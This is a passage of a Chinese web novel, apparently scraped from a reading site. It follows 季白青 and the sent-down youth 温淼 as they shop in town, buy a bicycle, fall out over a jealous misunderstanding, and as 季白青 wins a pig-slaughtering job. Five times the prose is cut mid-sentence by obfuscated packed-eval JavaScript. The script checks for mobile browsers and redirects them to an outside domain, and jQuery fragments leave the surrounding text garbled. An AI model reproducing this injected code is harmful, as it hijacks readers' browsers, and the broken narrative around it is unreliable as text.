季白青咂嘴,“我怕磕着碰着,多心疼啊。” 温淼:“坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496237|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了就再买就是了,东西不就是拿来用的吗?” “可是这是你送我的第二个礼物。”季白青看着她。 温淼连忙错开视线,“好、好吧。” 她恼得不行,明明季白青还要小上她三岁,怎么每次说话都像是在刻意撩拨她一般? 季白青不知道温淼在想什么,左顾右盼一下看到了一块大大的“国营饭店”的牌子。 “走,我们去吃饭。” 这年头大家伙儿都穷,国营饭店的价格实惠,但乡下人进城里都舍不得上国营饭店吃饭,也就有铁饭碗的城里人不想做饭的时候来国营饭店里吃一顿。 即使如此,现在国营饭店里还是排上了长长一条队。 排了十几分钟到了季白青她们,看了眼今天的早餐单子,她问温淼要吃什么。 得到回复之后,她朗声对前台收钱的同志道:“要一碗汤粉一碗卤面,都加鸡蛋!” 这俩加起来要一毛二,不算太贵。 点好之后,季白青找了一处靠窗的位置坐下。 知道温淼有洁癖,她拿出帕子将桌面擦了擦。 等待着粉送上来的时间,季白青看着窗外。 到了上班的时间点,路上是来来往往的人群,要么挎着个布包,要么是刚买完菜急匆匆回家。 可以见到少数的个人骑着自行车意气风发的模样。 温淼注意到季白青的视线在自行车上停留,若有所思地低下了头。 没多久,两碗粉被送了上来。 国营饭店的碗有脑袋大,里面粉和汤几乎要与碗面持平。 总之很值得。 她那边呼啦呼啦地嗦起粉来,温淼的动作则是慢吞吞的。 刚出锅的粉烫。 知道温淼是个猫舌头,吃点什么都怕烫,季白青去多拿了个碗将她碗里的分出一小份。 “先吃少的,凉得快。” 说完,她继续吃自己碗里的。 等到吃的差不多了,她后知后觉问温淼:“你要尝尝我的吗?挺好吃的。” 她碗里是加了一大勺辣椒油和葱的,红红绿绿的看起来格外刺激人的胃口。 温淼在心里纠结了一番还是点了点头,刚想伸筷子去夹,季白青夹着粉吹了吹,送到了她唇边。 17. 第 17 章 “吃啊,别发呆。” 见温淼不张嘴,季白青提醒。 温淼咬了一小口,瞬间被辣的脸颊通红,眼泪都被逼了出来。 她眼中碎光晶莹闪烁,艰难将那口食物咽下去,“这也太辣了。” 季白青看她红扑扑的脸蛋,摸了摸鼻尖,“确实放多了辣椒油,不过我吃着觉得还好。” 见温淼瞪自己,她连忙给她倒了一杯凉水。 温淼的打卤面吃了一半,季白青的胃口大,剩下的一半被她毫不犹豫地扫荡完。 见过她太多没有分寸感的行为,温淼此时都已经麻木了。 看她吃完后连忙催促:“走,我们去供销社看看。” 供销社的一楼是日用品,二楼则是卖成衣的,也有布料供选择。 问了销售员具体方位后,温淼拉着季白青往二楼走。 看着几乎灰扑扑一片的衣裳,温淼皱着眉有些不满。 季白青笑眯眯地看着她,心想无论是哪个时代的女人都一样,热衷于买衣服。 她也是,不过她穷。 想到这里,季白青顿时又有些笑不出来了。 温淼在摆开的衣服堆里转了一圈,最后取下几件,对着季白青比划几下。 等着她将条黑色半身长裙挎在自己腰上,季白青才反应过来,“温淼,你不会是给我买的吧?” 温淼抛给她一个“不然呢”的眼神,又自顾自地看着其他的。 季白青哭笑不得,还有些心软。 “好了,不用给我买,我自己的衣裳够了。” 她伸出手想要拦着温淼继续选,哪知身上穿着的碎花衣服像是听到了她的话一般,吱嘎一声,腋下的布料裂开。 季白青和温淼同步看向她腋下,看着裂开的布料,她嘴角抽抽。 “这……衣服有点紧了。”一年时间,她身量长了些。 温淼也学着往日季白青的动作,掐了掐她的脸,“好了,你乖一点,只是几件衣服而已。” 许是她声音太过温柔,又或许是刚才发生的意外太过窘迫,季白青站在原地不动了。 温淼给她挑了黑白两色的短袖,一条半裙,还有一条黑色长裤和黑白斜格连衣裙,最后不顾季白青的劝阻,还给她买了一双铮亮的女士皮鞋。 想着何香月他们常年穿的草鞋,温淼给何香月挑了双时兴的水晶凉鞋,又给季伟买了双黑色拖鞋,尺码季白青都记得。 眼看着大美人正在兴头上,季白青叹了口气,只好不再劝了。 不过她还是在心里暗爽一番,网民姐妹诚不欺她,有个富婆闺蜜的体验简直爽死了。 不过成衣的价格贵,一件就十几块,那些加起来大概五十多块,温淼又挑了几块纯棉细布,白色、黑色和红色的各自要了两米,拿去结账时是七十二块五毛,还要相应的布票。 温淼递给季白青一个眼神,季白青从自己的破挎包里掏出八张大团结,又数出来布票给售货员。 见她们一口气买这么多,无论是售货员还是其他的顾客,都倒吸了一口气。 在吸气声中,季白青默默将挎包捂紧。 千万别被扒手盯上了。 付款后,季白青找售货员借了个仓库换上了买的衣服,黑色的短袖穿在她的身上显得她气质越发疏冷,衬得皮肤莹白。 出来后,温淼看着她点了点头,夸她:“很好看,很合适你。” 季白青难得有些害羞,“那是你眼光好。” 温淼没有反驳,她确实觉得自己的眼光还不错。 买完衣服之后,总该去买昨晚列出的那些东西了吧。 季白青带着温淼,开始买清单上的东西。 暖水瓶也买了一个,又打了一瓶酱油,将东西买齐之后,季白青想去付款,却被温淼攥住手腕。 “等等,再去买个东西。” 季白青有些疑惑,“还有什么漏买了?” 温淼示意她跟着自己一起来,走到了里面后,她看到了被人群包围的二八大杠抽了抽嘴角。 “……你不会是要买自行车吧?” 温淼没回她,而是将那辆黑色的自行车好好打量了一遍,这玩意儿大得很,可以载上一家三口。 她比较满意的是自行车后座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496238|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是皮座,不用担心硌屁股。 这时候她才抽空回答季白青:“你不觉得坐牛车很不方便吗?而且车上的味道很难闻。” 季白青摆了摆手,放弃挣扎,“你想买就买吧,你美你说的对。” 温淼瞪她一眼,咕哝道:“又胡说。” 最后还是将自行车给买下来了,其他东西也买的差不多了,东西太多,干脆暂放在了供销社里,让售货员帮忙看着。 溪宁镇的售货员的态度倒是挺好的。 推着自行车出了共销售,季白青蹙着眉心,总觉得忘了什么事。 突然,她看着一辆挂着条肉的自行车打着铃从面前蹿过去,拍了拍脑袋。 “肉!忘记买肉了!” 过了一会儿,季白青和温淼扶着自行车面面相觑。 季白青:“不会骑自行车你买它干什么?” 温淼沉默了一会儿:“……我以为你应该会。” 季白青上辈子最穷的时候去哪都靠走,后面兼职攒了点钱后就直接买了一台电动车。 她会骑电动车,可是从来没有学过自行车这玩意儿啊! 最后她还是屈服了,将车推到巷子里,无奈道:“我先学学吧。” 好在骑自行车主要是把握平衡度,她溜了几回后自觉已经学的差不多了,长腿撑着地面,示意温淼坐上来。 温淼轻易上了后座,扶着车座后缘。 “走了,坐稳!” 季白青歪歪扭扭地骑着车往食品站去。 好几次温淼都差点被她扭下去,最后还是季白青先不好意思了。 “温淼,你抱着我的腰,这样稳一点。” 温淼闻言,犹豫了一会儿,最后还是慢慢伸出手圈住了她的腰。 季白青皮肤的温度隔着单薄的布料传给她,温淼无意识摩挲她的腰腹,心想,好细。 被她一摸,季白青有些绷不住,车头狠狠一扭,她咬牙: “温淼,别摸我,有点痒。” “……”温淼的脸顿时红的不像话。 她仓皇将圈在女人腰上的手松开,险些又跌下去。 18. 第 18 章 食品站和供销社的距离不算太远,季白青骑了一会儿后彻底掌握了技巧,很快就到了食品站。 推着铮亮的自行车往里走,看着车轮滚过地上的污水,她还有些心疼。 不过她看到了肉铺上放着的一扇扇猪肉后,立马两眼放光。 两个人开始排队,商量着要买些什么。 商量到最后,季白青看着肉铺上越来越少的肉,最后放弃了。 “待会儿看看还剩什么吧。” 她们应该先买了肉再去吃饭的,只是两个人谁都没有记起来,将供销社都逛了一遍才想起要买肉。 排到她们的时候,案板上还剩下几个大骨头,还有一个猪头、猪下水。 猪头和猪下水的价格比猪肉要便宜个几毛钱,都是九毛钱一斤,骨头一毛一。 季白青要了一副猪耳朵,一半猪下水和全部的骨头。 屠宰员是个膀大腰圆的妇女,肚子高高耸起,看样子是孕后期了。 季白青多嘴问了句:“同志,你这是几个月了?” 屠宰员爽朗笑了一声,“六个月,不过是双胞胎!” 许是看她和温淼两个女同志漂亮面善,她神色又有些愁,多说了几句:“我想回家养胎,可惜上面没有找到合适的人接手我这工作。” 季白青听了这话,心微微一动,又多问了一嘴,“那同志,你工资难道低吗?不然怎么会找不到人。” 屠宰员手脚利索地帮她分肉打称,“我们这行赚钱是肯定的,但是没几个人有杀猪这本事!” “来,拿着,这里是十二块钱的,还有十二斤的肉票!” 温淼把钱给她,扯了扯季白青的衣袖示意她离开。 又买了一篮子鸡蛋,两人都走到了食品站门口了,温淼见她还是一副沉思的模样,问她:“这是怎么了?你不会是想要去杀猪吧?” 她只是随口一问,虽然知道季白青的力气大,但要一个女人去杀猪未免也太血腥了些,男人杀猪都是要几个人一起上。 没想到季白青却像是来了精神,她抬起头来,斩钉截铁道:“我想要那份工作!” “诶……”温淼还来不及说什么,季白青就转了个弯往肉铺那边跑,她只好推着车跟在她身后。 季白青跑到肉铺前,肉已经卖完了,她看了眼表,现在不过是十点。 屠宰员正在擦着刀,收拾桌上的狼藉,季白青自来熟地帮她擦着案板,问她:“同志,如果这份工作要去找谁?” 屠宰员倒是没多想:“你要是有亲戚要来的话,可以去找食品站主任。” 她指了一个方向,“主任平时都是在那个办公室。” 季白青道谢,“谢谢同志啊!” 往出口去的路上,她和温淼撞上,将她手里的车接过来。 温淼走在她旁边,小声问:“你真要去杀猪啊?” 季白青也能猜到几分她的担心,掰着手指给她罗列好处:“对啊,这工作不是挺好,可以赚钱,没准还能每天不要票吃到肉。” 她看着温淼的脸颊,声音低落下来,“我感觉你都瘦了。” 季白青本就想要将温淼养胖一些,结果她在自己身边却越来越瘦,下巴尖尖,这像是什么样子! 更何况平日里的菜都是素菜,她也可以感受出来,温淼是馋肉的,只是她太乖,不会主动说出来。 她虽然有肉票,但这些都是会用完的,不能坐吃山空。 而且她也想要靠着自己的能力改善改善家里的生活,让何香月他们能够过得更好。 温淼下意识地摸了摸自己的脸,反驳道:“没有吧,其实还好。” 但在季白青怜惜的目光下,她的声音却越来越小。 最后她说:“那还好我买了自行车,之后就方便你来镇上了。” 季白青笑眯眯地对温淼说:“对啊,温淼是我的福星。” 温淼不习惯于面对这样的场景,十分煞风景地问一句:“你会杀猪吗?万一人家不要你怎么办?” 季白青:“其实……我有一些经验,你信吗?” 见女人一脸问号,季白青开了个玩笑,“去年我爹生病,我替他去杀猪,最后被猪踹了一脚。” 温淼一呆,“那你更不能去了啊。” 季白青憋笑,“骗你的,笨。” “去年我确实代替我爹去杀猪了,不过最后都是我一个人出力,那猪很凶,我力气大,手起刀落猪就没气了。” 温淼意识到自己又被耍了,又去拧她。 “你好讨厌。”她语气娇滴滴的,像是在撒娇。 季白青听得心都酥了,将自行车推到路边,“上来,咱们去拿东西。” 去供销社将东西拿回来之前,她们去了邮局一趟,报了名字之后,工作人员先给温淼拿了个大包裹,结结实实捆好的布袋子,一拎还挺沉,不知道里面是什么玩意儿。 温淼将自己和季白青写的信寄了出去,除此之外,何香月他们还找出了满满一兜的山货,红枣、干菇、干笋这些东西,也一起寄去了京市。 将所有事情弄清楚后,已经快接近十二点了,干脆又去国营饭店吃了个午饭。 今天特供的红烧肉味道不错,肥瘦相间,吃下去口齿生香,季白青干脆租了个饭盒打包回去让何香月他们也尝尝。 两人买的东西实在是太多了,自行车完全载不下,最后季白青在镇上两毛钱雇了个人,跟在她们身后帮她们把东西送回去。 今天是云水村休息的日子,村口的大榕树下坐着晒太阳的老头老太,还有些叔婶。 见到了骑着自行车回来的季白青和温知青,一时间都呆住了。 “好家伙,青丫头买了辆自行车?” “准是温知青买的,青丫头不是和她关系好吗?” “乖乖,早知道也让我家闺女去黏那知青了!”胡子拉碴的男人吸了口叶子烟,语气惋惜。 “叔婶,大爷大娘好!”季白青和他们打了个招呼,在他们视线的目送下一溜烟跑了。 一辆牛车也晃悠悠地跟在她们后面,只在地上留下了一坨牛粪。 听到了屋外的动静,何香月从堂屋里出来,看到院子里放着的东西顿时瞪大了眼睛。 她一巴掌打在季白青身上,“你个败家闺女,怎么买了这么多东西!” 再一看,就连她闺女身上的衣服都是崭新的。 季白青就知道会被误会,但她也没解释,只是说:“好不容易出去一趟,把要用的东西买齐了。” 何香月蹲下身翻开,确实大多数都是要用的。 不过她看着衣服、布料和单车、大块肉,狐疑问:“你哪来这么多票?” 温淼在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496239|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边不知为何也有些心虚,解释:“婶子,其实这是我买的,钱和票我都有。” 何香月看着这漂亮姑娘欲言又止,最后还是劝了她一句: “淼淼啊,这钱不经用,得省着点。” 温淼小鸡啄米般点头。 见女人在她娘面前吃瘪,季白青觉得有些好笑。 这人对着她和她娘完全是两幅面孔。 她给送货人两毛钱后,就让他走了。 这时候何香月才看到那黑色的大家伙。 她瞪大了眼睛,“自行车!” 季白青先她一步开口,“娘,我有个好消息要告诉你。” 何香月:“什么?” “镇上食品站招人杀猪,我可以去,温淼知道后特意带我去买了自行车,以后来回就方便了。” 闻言,何香月乐得嘴巴放不下来。 “真的啊?那你给老娘好好干!” 她又看着温淼,眼里充满感激,“淼淼啊,你真是个好孩子,这自行车多少钱,婶子还给你!” 温淼睨了季白青一眼,“婶子,不用了,之后我去镇上也用得上这车的。” 季白青附和,“是啊,虽然我们花了大钱,但也省了钱,如果我坐牛车的话每天来回两分钱,那坐一年两年不是更多钱,自行车就不一样了,可以用十几二十年,一车传几代,人走车还在!” 她胡说八道一番后拍拍车后座,“娘,上来,我带你绕着村里转一圈,让所有人都知道我们季家有车了。” 说完这句话,她看了眼温淼,见她没意见后立马理直气壮起来。 她和温淼是好朋友,温淼的就是她的! 何香月听了这话后果然心动了,又假装矜持了一会儿,最后才上了后座。 她得好好气气村里的那些碎嘴子,让他们说自己不争气只生了个女儿! 看着母女二人骑着单车出去,温淼将自己买的东西全都收到了房间里,剩下的东西也都搬进了堂屋。 她回房间后,看着严严实实的大包裹,想着里面该是什么东西。 但又想要等着季白青回来的时候和她一起拆。 也不知道什么时候,她第一时间想到的都是季白青了。 她拍了拍脸颊,给脸降温。 突然听见了院子里的动静,以为是季白青她们回来了,温淼出了房间,结果看到的却是一个有些陌生的女孩。 李雯雯进了院子,见到温淼的时候还觉得奇怪。 这人是谁?她从来没见过,长得可真好看。 这话温淼也问了出来:“你是谁?” 李雯雯扬起笑,给她介绍:“你好,我是李雯雯,村长女儿,前段时间在镇上读高中,今天才放假。” “我是白青的好朋友,她不在家吗?” 好朋友…… 温淼将这个词在嘴里咀嚼几遍,心脏莫名有些抽痛。 早上季白青说过的话还在耳边。 她说她只和自己做朋友。 那面前的人又是谁? 在温淼不知道的地方,季白青还有别的好朋友。 见面前的大美人不说话,李雯雯有些疑惑,正想重复一遍的时候,大美人却突然钻进了季白青的房间。 砰的一声,将门重重一关。 李雯雯疑惑,这是怎么了? 19. 第 19 章 季白青载着何香月逛了一圈回来后看见院子里站着的李雯雯还有些疑惑。 “雯雯,你放假了?” 自行车在院子里停下,何香月跳了下来。 “雯雯,怎么没进去坐?” 李雯雯挠了挠头,“刚才你们不在家,不过我看你们家有个漂亮姐姐……我和她说话,但是她没搭理我。” 温淼不是那么傲慢的人,季白青有些担忧,是不是身体不舒服? “那是住进我们家的知青。”她解释道。 “雯雯,你先进去坐坐,我待会儿再和你细说。” 说完后,季白青步履匆匆地回房间。 将门打开后,看着温淼坐在窗边垂眸看书,她上前用手背测了测她额头的温度,被她侧脸躲过去也没生气。 她低声问:“不舒服吗?温淼。” 温淼、雯雯。 这两个称呼亲昵程度轻易可辩。 温淼摇了摇头,没说话。 见她这样,季白青更担心了,蹲下身来,仰头看着温淼,声音温柔: “我们温淼是不是不高兴了?怎么了?告诉我可以吗?” 温淼眼眶有些酸涩,摇了摇头,还是开了口。 “没事。”她说。 听着她声音沙哑,季白青心里也不是滋味。 可温淼固执,在她没想开的时候,无论别人怎么劝她都不会对别人敞开心扉。 曾经她以为自己是温淼的例外,但面对现在温淼不肯开口的局面,她还是觉得有些沮丧。 到底是怎么了?不高兴不舒服又不说。 她耐心地将今天的事情回顾一遍,“你是不想我去杀猪吗?怕我熏到你?” 温淼摇头。 “那就是我载我娘在村里逛,没载你,你生气了?”还是摇头。 “是我说自行车是我们季家的,你不高兴?”温淼继续摇头。 季白青还想说些什么,可放在温淼腿上的手臂却一烫,她一怔,去看温淼的脸。 她眼眶发红,眼泪一滴一滴地往下坠,却咬着唇不肯出声。 季白青是想要伸出手为她擦眼泪的,可她的手还没有落在女人的脸上,就被她躲开。 温淼将手背挡住眼睛,抬头,不想让季白青看见自己这么狼狈的模样。 “你先出去吧,我想一个人静静。”她声音沙哑的不像话。 季白青胸口憋闷,气息也沉重了几分,最后还是一言不发地出了卧室。 抬头看着蔚蓝色的天空,季白青暗骂一声。 她也有点想哭了。 明明早上出门的时候还高高兴兴的,到底是哪个环节出了错,让温淼不高兴了。 她想不到。 在门口冷静了一会儿,季白青才去了堂屋,李雯雯正在帮何香月择菜。 见到了季白青俩了,她连忙站起来,拉着季白青一屁股坐在了凳子上,好奇问道: “刚才那个漂亮姐姐是谁?” 季白青:“新来的知青。” 见她还想要和自己说点什么,但季白青此时实在是没有精力要和她继续说下去。 她按了按眉心,找了个借口:“李雯雯,你先回去吧,我爹让我下午把地给翻了,我再不去该挨骂了。” 说完,她没再管李雯雯,真的拿着锄头下了地。 将几块地翻了一遍后,季白青被晒得大汗淋漓,坐在田埂边休息的时候脑子里想的还是温淼。 她猛地锤向地面,到底是哪里出错了?! 将地翻了一遍后,季白青又回去一趟,将今天买好的菜种拿去撒了。 路过自己房间的时候,她将视线落在上面,看着紧紧关闭的门更是心烦意乱。 不知道温淼还在不在哭。 意识到自己想什么之后,季白青在心中暗骂自己不争气,干脆扭头过去,眼不见心不烦,大步流星地挑上两个水桶离开了家。 一下午的时间,季白青都在地上,一个人两天干完的活儿被她一个下午干完了。 不知不觉间,乌金西坠,余辉将云层染成粉色和橘色,不同颜色交织而展现出来的天空十分瑰丽。 而季白青将内心的郁气都通过劳作发泄出去之后,倒是敞亮了不少。 她将最后一瓢水浇在地上的时间,何香月来叫她回去吃晚饭了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496240|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “白青,饭做好了!快回来!”她嗓门大,站在远处喊着,季白青也能听到。 季白青高声回应后,也将地上的农具和桶一并带回去。 她在回去之前去了一趟河边,将身上的泥清洗干净后,又洗了一把脸,清凉的河水扑在脸上后被晒过的脸颊降了温。 只是水干了之后再摸脸颊,会感受到灼烧般的痛。 皮肤薄就是这一点不好,容易被晒伤,下午的太阳毒辣,她在气头上连防护都没有做,不用找镜子,季白青估摸着她的脸大概是被晒红了。 到家之后,何香月看着她发红的脸,也是一惊。 “怎么没戴草帽上地里?” 季白青郁闷摇头,“忘记了,没事,过几天就好了。” 何香月将菜放在桌上,瞪了季白青一眼。 “真是二十岁的姑娘了还不让我省心。” 说完,她出了门,大概是要去哪家割点芦荟回来。 今天季伟和村长一起去公社上了,公社开会,大概要耽搁一两天的时间。 季白青一个人坐在空荡荡的堂屋里,看着桌上与前几天相比可以称得上丰盛的菜,还是没能高兴起来。 红烧肉、萝卜骨头汤还有一盘碧绿青翠的生菜,温淼挺喜欢吃这红烧肉的。 顿时,季白青又恨铁不成钢地拍了拍自己的脑袋,怎么又想到了那个坏女人了! 又别别扭扭给自己找了无数个理由之后,季白青还是走到了房间门口,将门拧开,觑着屋里的人正在做什么。 结果一看到床上睡得脸颊红扑扑的女人,她顿时更生气了。 合着她气得在地里累死累活像头牛一样蛮干,结果这人却躺在床上睡得这么沉! 虽然是这么想,但她还是下意识放轻了自己的动作,走到床边垂眸看着温淼的睡颜。 实在是女人病弱的印象深入人心,她伸出手测了测温淼额头的温度,发现温度正常之后才放松下来。 桌上还散落着几张纸,是温淼用过的,季白青没有窥探她的隐私,简单将东西收在一起,纠结了良久后,清了清嗓子。 “温淼,起床吃饭了。” 20. 第 20 章 早在季白青进门的时候温淼就听到了动静,她眠浅,轻易就醒了过来,只是想要知道季白青想要干什么而已。 到底她刚才摸自己额头的亲昵动作还是让她一惊,内心不受控制地想,面对那个雯雯,季白青大概也是这么贴心吧。 也许会更上心,毕竟她和李雯雯的关系看起来要比和自己好多了。 她应该不在意这件事的,毕竟季白青也不是她的什么人,两个人只是……普通朋友而已。 听见了季白青的声音后,温淼也没有再装睡,睁开了眼睛。 两双眸子对视,季白青首先挪开视线,不去看那双琥珀般清澈的眼眸。 她胡乱抛下一句“快点收拾”后就出了房间,像是落荒而逃。 白日里何香月还没察觉到什么,到了吃晚饭时,看着季白青和温淼之间奇怪的氛围,她这下可算是感觉到了不对。 两个人这是……吵架了? 吃完饭后温淼主动要去收拾碗筷,何香月这下也来不及推阻,只是把季白青拉到了一边,压低声音问她: “你和温知青吵架了啊?” 季白青看她紧张的样子,有些无奈,不大想让她掺和她和温淼之间的事,便摇了摇头。 “娘,没有,你多想什么。” 这两个人平日吃饭的时候有多腻歪,季白青给温淼夹菜都不带停的,生怕她饿着自己。 结果今天两个人各吃各的,何香月要是信了季白青敷衍的话就有鬼了。 不过看季白青一副不想多说的样子,何香月也不好多问。 她拍了拍季白青的肩膀,这姑娘随了她爹的身量,现在已经比她要高出一个头来了,原本每天跟在她身后喊娘的小闺女也长大了。 “娘知道你们肯定有自己的苦衷,但是温淼她虽然大你几岁,那么小又没了娘,现在还一个人在咱们村,要是不帮衬着点她怎么着都说不过去。乖啊,别闹别扭了,淼淼心里该多难受啊。” 季白青有些哭笑不得,怎么也没有想到两人之间吵架何香月居然是帮着温淼说话的。 不过听了这话,她却为温淼感到开心,这个世界上除了她,有更多的人愿意关心她了。 “娘,你放心吧,有你在,我哪敢欺负温淼啊,我们就只是闹别扭了而已,过几天就好了。” 洗漱完后,季白青和温淼一起躺在床上,在安静的房间内,季白青看着温淼的后背,心想,两人真的过几天就能和好吗? 其实当时说那句话她也没有什么把握,更多的是想要安慰何香月而已。 她明天一大早就应该起床去食品站,但现在还翻来覆去睡不着。 季白青一点也不像让问题过夜,可是温淼却一点也不配合。 又翻了个身,背对着温淼,季白青轻声开口:“那个……温淼,睡了吗?” “你到底怎么了?告诉我好不好?” 说出去的话没有得到任何的回应,但她却能感受到身后人的气息变化。 季白青猛地闭上眼,决定不要再主动理她了。 坏女人! 在季白青睡过去后,温淼转过身看着她的后背,轻轻攥住了她一小簇发尾,慢慢闭上了眼。 第二日,季白青起的早,身体微微一动,却牵扯了头皮,再仔细一看,原来不知道什么时候,两人昨晚又抱在了一起。 温淼手上攥着她的头发,难怪梦里她觉得自己被栓起来了。 她轻轻将温淼的手指掰开,放出自己的头发,看着女人纯洁无辜的睡颜有些生气。 要是醒来之后也能这么乖就好了! 她随意从衣柜里摸出一套旧衣服,换上后简单收拾一下,何香月知道她今天早起,也起来给她做了早饭。 昨天晚上的菜没吃完,她和没煮的猪耳朵、猪下水一起吊在了井里,早上再加热一下,煮个红薯,就可以吃了。 季白青吃完早饭后看着时间差不多,就骑上了自行车往镇上赶。 骑自行车是要一些力气,好在季白青最不缺的就是这玩意儿,更何况这比牛车要快多了。 此时的食品站还没有开门,正在做准备工作,季白青买了个包子给看门的大爷,最终被放了进去。 她走到昨天屠宰员给她指的食品站主任办公室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496241|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前敲了敲门,里面传来一道威严低沉的女声。 “进来。” 将门一推就开了,季白青走了进去,见坐在办公桌前的是个戴着眼镜的瘦弱中年女同志,立马露出了笑容,介绍自己。 “主任,你好,我是云水村的季白青,昨天卖肉听屠宰员同志说食品站招人,我想来试一试。” 那主任站起来,和她礼貌握了个手。 “你好,季同志,我是夏寒梅。” 她将季白青上下打量一遍,清瘦高挑、干净利索,一时有些怀疑自己听错了。 “我们这不招售货员了,季同志,你是不是听错了。” 季白青摇了摇头,“我是想来试试杀猪的活儿。” 夏主任顿时笑出了声,眼角的笑纹越发明显,“是我小看季同志了,既然你想来试试,刚好待会儿就要杀猪。” 算是季白青走运,平日里一周也就卖两三天猪肉,昨天才卖过一次,今天养猪场又送来一头,刚好让她赶上了。 “你跟我来吧。” 这个主任还是挺好说话的,季白青想着,跟在她身后往仓库走。 走进一个小仓库后就闻到了明显的臭味和血腥味,夏主任指着车上看着两三百斤的猪,道:“今天要杀的就是这头。” 季白青看着四周放着的捆猪绳和刀,心里有了计划。 正巧是这个时候,门口传来一道爽朗的声音,“夏主任,我来了!” 季白青扭头一看,见是昨天那个屠宰员。 屠宰员见她也一惊,顿时明白了她昨天问话的目的。 她挺着个肚子走到季白青身边,拍拍她肩膀,“哟,同志,看不出来是你想要这岗位啊。” 季白青笑眯眯,“妇女能顶半边天嘛。” 屠宰员点头,“也对,我叫王宝珠,管我叫宝珠姐就行。” ; 她问一边端着盆、瘦的像是竹竿的男人,“周刚,水烧好了没?” 周刚点了点头,将特意做好的凳子摆开,这长凳又宽又厚,看起来十分结实。 “跟我来,看看你的本事怎么样。” 21. 第 21 章 说着,她先一步上前,将关猪的门打开,季白青拿着捆猪绳,两人合作将猪逼到角落,随后一人一根绳眼疾手快将前后腿给捆起来。 王宝珠拎着前腿,扭头看季白青和她一起抬着猪竟也没显吃力,顿时满意地点了点头。 砰的一声,猪被架在了长凳上。 周刚将尖刀递给季白青,又在猪头下放了个铁盆接猪血。 季白青长腿一跨,骑在不断挣扎的猪上,一手按住它的脖子,刀尖闪着寒光,往咽喉一刺,猪嚎叫一声,大股的血往下喷。 猪在垂死之际的挣扎最强烈,季白青险些被颠下去,好在立马坐稳了身子,一路将刀往下割,将胸口剖开后,这几百斤的猪可算是没了气。 明明是十分钟左右的活,硬生生让她出了一脑袋的汗。 从猪身上下来后,季白青看向夏主任,还是刚才那副人畜无害的模样,不过是脸上不慎溅到了血红的猪血。 她问:“夏主任,我的杀猪水平怎么样?” 夏主任无言,默默对她竖起一个大拇指。 就连王宝珠也说:“主任,我看这同志就挺好的,这样一来,你总能让我回去安心养胎了吧。” 夏主任没好气地看她一眼,“整天就想着回去养胎,我看你生完之后丢了工作该怎么办。” 王宝珠闻言,脸色微微一变。 见状,夏主任的心情才好上一些,安抚她: “放心吧,上面本来的意思就是要多分配个人和你一起,之后你生完休息好就麻溜回来。” 就这样,在王宝珠后接班的人确定下来是季白青了。 季白青原本以为她也就是替几个月的班,没想到还真的给她找到了一份铁饭碗。 铁盆里的血装满之后,周刚端了盆开水,准备给猪刮毛。 王宝珠在一边教她:“我们只要管杀猪,刮毛都是周刚来,之后杀猪你让他帮忙就行,他力气不够大,杀猪的活儿干不来,就是干些杂活的,别不好意思。” 等他将猪毛刮完之后,王宝珠将木架找出来,用铁钩勾住猪后退,吊在木架上,让季白青剖肚分肉。 季白青聪明,去年在村里杀猪险些将大肠戳破,这次便更小心翼翼,最后将猪肉标准分开。 周刚将推车推来,季白青按照不同部位将一扇扇猪肉摆放好,花了半小时总算是将猪肉分好了。 王宝珠将她分好的肉看了看,“不错。” 